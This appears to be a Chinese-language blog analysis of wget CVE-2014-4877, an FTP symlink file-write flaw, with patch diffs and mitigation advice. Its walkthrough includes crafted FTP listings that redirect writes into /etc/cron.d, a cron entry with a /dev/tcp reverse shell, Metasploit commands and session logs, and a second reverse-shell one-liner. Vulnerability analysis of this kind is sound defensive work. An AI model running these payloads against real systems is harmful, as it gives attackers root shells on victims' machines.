Thursday, October 30, 2014

[CVE] wget CVE-2014-4877 analysis

0x00链接:

[1]发现者:https://community.rapid7.com/community/metasploit/blog/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access
[2] Wget repo: http://git.savannah.gnu.org/cgit/wget.git/
[3] Fix: http://git.savannah.gnu.org/cgit/wget.git/commit/?id=18b0979357ed7dc4e11d4f2b1d7e0f5932d82aa7
[4] Bug report: https://bugzilla.redhat.com/show_bug.cgi?id=1139181

0x01描述:

方向:FTP server -> wget client
攻击者通过操纵ftp服务器可以在wget用户端环境创建任意的文件、目录以及链接。通过符号链接攻击,攻击者以wget的运行权限访问客户端整个文件系统,覆盖文件内容(包括二进制文件)。这个漏洞还能通过系统的cron设置或用户级别的(bash profile, SSH authorized_keys)设置触发远程代码执行。

0x02原理:

wget < 1.16,retr-symlinks 缺省设置为off/no,当客户端wget在递归下载ftp服务器上的目录时,如果存在符号链接文件,该链接文件不会被下载,而是在客户端本地创建一个指向同样位置的符号链接。同时链接指向的文件不会下载,除非该文件位于递归下载的遍历目录下。

服务器端

1) 构造某链接(例如HSZ4ttRBxOWbz),可以指向任意位置(危险!)例如/etc/cron.d/
这个可以在wget与ftp服务器会话过程中,构造非法的 'ls' 内容,响应LIST -a:
# cat .listing /* wget客户端得到这个ls响应,并存在本地*/
total 155
lrwxrwxrwx   1 root     root           33 Feb  7  2013 HSZ4ttRBxOWbz -> /etc/cron.d
drwxrwxr-x  15 root     root         4096 Feb  7  2013 HSZ4ttRBxOWbz

2) 在链接指向的目录下放上任意内容,例如执行反连shell的定时任务cronshell
为达到这个目的,需要在ls响应中,构造一个和链接文件同名的目录项,并在该目录下放置cronshell
# cat .listing
total 155
lrwxrwxrwx   1 root     root           33 Feb  7  2013 HSZ4ttRBxOWbz -> /etc/cron.d
drwxrwxr-x  15 root     root         4096 Feb  7  2013 HSZ4ttRBxOWbz

至此,覆盖修改客户端的目的已达到,以下是进一步在客户端触发远程代码执行,如反向shell连接.
3) [optional]构造cronshell:
反连shell的命令
# cat cronshell
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root bash -c '0<&108-;exec 108<>/dev/tcp/192.168.92.138/4444;sh <&108 >&108 2>&108'; rm -f /etc/cron.d/cronshell

4)[optional]在指定端口监听反连请求,例如nc -n -vv -l -p 4444

客户端

wget –m ftp://192.168.92.138:21/   (很正常的命令,无辜啊)

0x03 PoC运行实况:


服务器端用metasploit


/* 生成反连shell的payload代码, 并写入cronshell*/
root@kali:~# msfpayload cmd/unix/reverse_bash LHOST=192.168.92.138 LPORT=4444 R
0<&108-;exec 108<>/dev/tcp/192.168.92.138/4444;sh <&108 >&108 2>&108

root@kali:~# cat > cronshell << EOD
> PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
> * * * * * root bash -c '0<&108-;exec 108<>/dev/tcp/192.168.92.138/4444;sh <&108 >&108 2>&108'; rm -f /etc/cron.d/cronshell
> EOD

         /*在指定端口4444监听反连请求*/
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD cmd/unix/reverse_bash
PAYLOAD => cmd/unix/reverse_bash
msf exploit(handler) > set LHOST 192.168.92.138
LHOST => 192.168.92.138
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > run -j
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.92.138:4444 
[*] Starting the payload handler...

         /*  Download  https://github.com/rapid7/metasploit-framework/raw/master/modules/auxiliary/server/wget_symlink_file_write.rb, play it */
         /* 监听21,模拟ftp服务,构造.listing文件 */
msf exploit(handler) > use auxiliary/server/wget_symlink_file_write 
msf auxiliary(wget_symlink_file_write) > set TARGET_FILE /etc/cron.d/cronshell
TARGET_FILE => /etc/cron.d/cronshell
msf auxiliary(wget_symlink_file_write) >  set TARGET_DATA file:cronshell
TARGET_DATA => file:cronshell
msf auxiliary(wget_symlink_file_write) >  set SRVPORT 21
SRVPORT => 21
msf auxiliary(wget_symlink_file_write) > run
[*] Auxiliary module execution completed
[+] Targets should run: $ wget -m ftp://192.168.92.138:21/
[*] Server started.

         /* 至此,等待wget客户端的请求wget –m ftp://192.168.92.138:21/ */

msf auxiliary(wget_symlink_file_write) > [*] 192.168.92.238:36210 Logged in with user 'anonymous' and password 'anonymous'...
[*] 192.168.92.238:36210 -> LIST -a
[*] 192.168.92.238:36210 -> CWD /HSZ4ttRBxOWbz
[*] 192.168.92.238:36210 -> LIST -a
[*] 192.168.92.238:36210 -> RETR cronshell
         /* cronshell写入客户端/etc/cron.d */
[+] 192.168.92.238:36210 Hopefully wrote 189 bytes to /etc/cron.d/cronshell

         /* 客户端执行了反连请求 */
msf auxiliary(wget_symlink_file_write) > [*] Command shell session 1 opened (192.168.92.138:4444 -> 192.168.92.238:44994) at 2014-10-29 03:30:32 -0400

msf auxiliary(wget_symlink_file_write) > sessions -i 1
[*] Starting interaction with 1...
         /* 通过网络,发送任意命令到客户端执行*/
id




客户端以root权限运行


wget –m ftp://192.168.92.138:21/
[root@CTF ~]# wget -m ftp://192.168.92.138:21/
--2014-10-25 11:33:40--  ftp://192.168.92.138/
           => “192.168.92.138/.listing”
Connecting to 192.168.92.138:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD not needed.
==> PASV ... done.    ==> LIST ... done.

    [ <=>                                   ] 166         --.-K/s   in 0s

2014-10-25 11:33:40 (22.6 MB/s) - “192.168.92.138/.listing” saved [166]

Creating symlink “192.168.92.138/HSZ4ttRBxOWbz” -> “192.168.92.138/HSZ4ttRBxOWbz”

--2014-10-25 11:33:40--  ftp://192.168.92.138/HSZ4ttRBxOWbz/
           => “192.168.92.138/HSZ4ttRBxOWbz/.listing”
==> CWD (1) /HSZ4ttRBxOWbz ... done.
==> PASV ... done.    ==> LIST ... done.

    [ <=>                                   ] 76          --.-K/s   in 0s

2014-10-25 11:33:40 (11.2 MB/s) - “192.168.92.138/HSZ4ttRBxOWbz/.listing” saved [76]

--2014-10-25 11:33:40--  ftp://192.168.92.138/HSZ4ttRBxOWbz/cronshell
           => “192.168.92.138/HSZ4ttRBxOWbz/cronshell”
==> CWD not required.
==> PASV ... done.    ==> RETR cronshell ... done.
Length: 189

100%[======================================>] 189         --.-K/s   in 0s

2014-10-25 11:33:41 (27.1 MB/s) - “192.168.92.138/HSZ4ttRBxOWbz/cronshell” saved [189]

FINISHED --2014-10-25 11:33:41--
Downloaded: 3 files, 431 in 0s (20.4 MB/s)

[root@CTF ~]# ls -l /etc/cron.d/
total 28
-rw-r--r--. 1 root root 113 Nov 23  2013 0hourly
-rwx------. 1 root root 189 Sep 14  2013 cronshell
-rw-r--r--. 1 root root 108 Oct 11  2013 raid-check
-rw-r--r--. 1 root root 235 Nov 22  2013 sysstat

[root@CTF ~]# cat /etc/cron.d/cronshell
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root bash -c '0<&108-;exec 108<>/dev/tcp/192.168.92.138/4444;sh <&108 >&108 2>&108'; rm -f /etc/cron.d/cronshell

0x04 相关代码


两个commit。
1)http://git.savannah.gnu.org/cgit/wget.git/commit/?id=18b0979357ed7dc4e11d4f2b1d7e0f5932d82aa7
这个提交就是将符号链接下载的缺省设置改为不在本地创建链接。commit中真正的代码修改只有一行:opt.retr_symlinks = true
diff --git a/src/init.c b/src/init.c
index 09557af..3bdaa48 100644
--- a/src/init.c
+++ b/src/init.c
@@ -366,6 +366,22 @@ defaults (void)

   opt.dns_cache = true;
   opt.ftp_pasv = true;
+  /* 2014-09-07  Darshit Shah  <darnir@gmail.com>
+   * opt.retr_symlinks is set to true by default. Creating symbolic links on the
+   * local filesystem pose a security threat by malicious FTP Servers that
+   * server a specially crafted .listing file akin to this:
+   *
+   * lrwxrwxrwx   1 root     root           33 Dec 25  2012 JoCxl6d8rFU -> /
+   * drwxrwxr-x  15 1024     106          4096 Aug 28 02:02 JoCxl6d8rFU
+   *
+   * A .listing file in this fashion makes Wget susceptiple to a symlink attack
+   * wherein the attacker is able to create arbitrary files, directories and
+   * symbolic links on the target system and even set permissions.
+   *
+   * Hence, by default Wget attempts to retrieve the pointed-to files and does
+   * not create the symbolic links locally.
+   */
+  opt.retr_symlinks = true;

2)http://git.savannah.gnu.org/cgit/wget.git/commit/?id=69c45cba4382fcaabe3d86876bd5463dc34f442c
这个提交主要增加了is_invalid_entry检查,防止.listing文件中存在同名的情况,这样即使在本地创建链接,也无法通过同名目录,修改该链接指向的目录下的内容。
diff --git a/src/ftp.c b/src/ftp.c
index 2d54333..054cb61 100644
--- a/src/ftp.c
+++ b/src/ftp.c
@@ -2211,6 +2211,29 @@ has_insecure_name_p (const char *s)
   return false;
}

+/* Test if the file node is invalid. This can occur due to malformed or
+ * maliciously crafted listing files being returned by the server.
+ *
+ * Currently, this function only tests if there are multiple entries in the
+ * listing file by the same name. However this function can be expanded as more
+ * such illegal listing formats are discovered. */
+static bool
+is_invalid_entry (struct fileinfo *f)
+{
+  struct fileinfo *cur;
+  cur = f;
+  char *f_name = f->name;
+  /* If the node we're currently checking has a duplicate later, we eliminate
+   * the current node and leave the next one intact. */
+  while (cur->next)
+    {
+      cur = cur->next;
+      if (strcmp(f_name, cur->name) == 0)
+          return true;
+    }
+  return false;
+}
+
/* A near-top-level function to retrieve the files in a directory.
    The function calls ftp_get_listing, to get a linked list of files.
    Then it weeds out the file names that do not match the pattern.
@@ -2248,11 +2271,11 @@ ftp_retrieve_glob (struct url *u, ccon *con, int action)
             f = f->next;
         }
     }
-  /* Remove all files with possible harmful names */
+  /* Remove all files with possible harmful names or invalid entries. */
   f = start;
   while (f)
    {
-      if (has_insecure_name_p (f->name))
+      if (has_insecure_name_p (f->name) || is_invalid_entry (f))
         {
           logprintf (LOG_VERBOSE, _("Rejecting %s.\n"),
                      quote (f->name));

0x05 小结:


类型:symlink attack
条件:
ftp server: 在 'ls' 响应中,构造包含同名的链接和目录的记录
wget < 1.16 递归下载并且 retr-symlinks 为 off/no
级别:
危害性:高
可能性:高
解决方法:retr-symlinks=on
当--retr-symlinks设置为on/yes时,符号链接指向的文件会被下载,也就不存在在本地创建任意符号链接的问题。 /* 如果指向的是目录,当前最新版本没有实现递归下载 */
建议:任选其一
1) 升级至1.16 ftp://ftp.gnu.org/gnu/wget/wget-1.16.tar.gz
2) Patch 链接[2]
3) add "retr-symlinks=on" in /etc/wgetrc or ~/.wgetrc

0x06 相关技术:


1) Reverse shell example:
Attacker: [192.168.1.168]
    nc -n -vv -l -p 8848
Victim: [192.168.1.110]
    /bin/bash -i > /dev/tcp/192.168.1.168/8848 0<&1 2>&1

2) metasploit

















No comments:

Post a Comment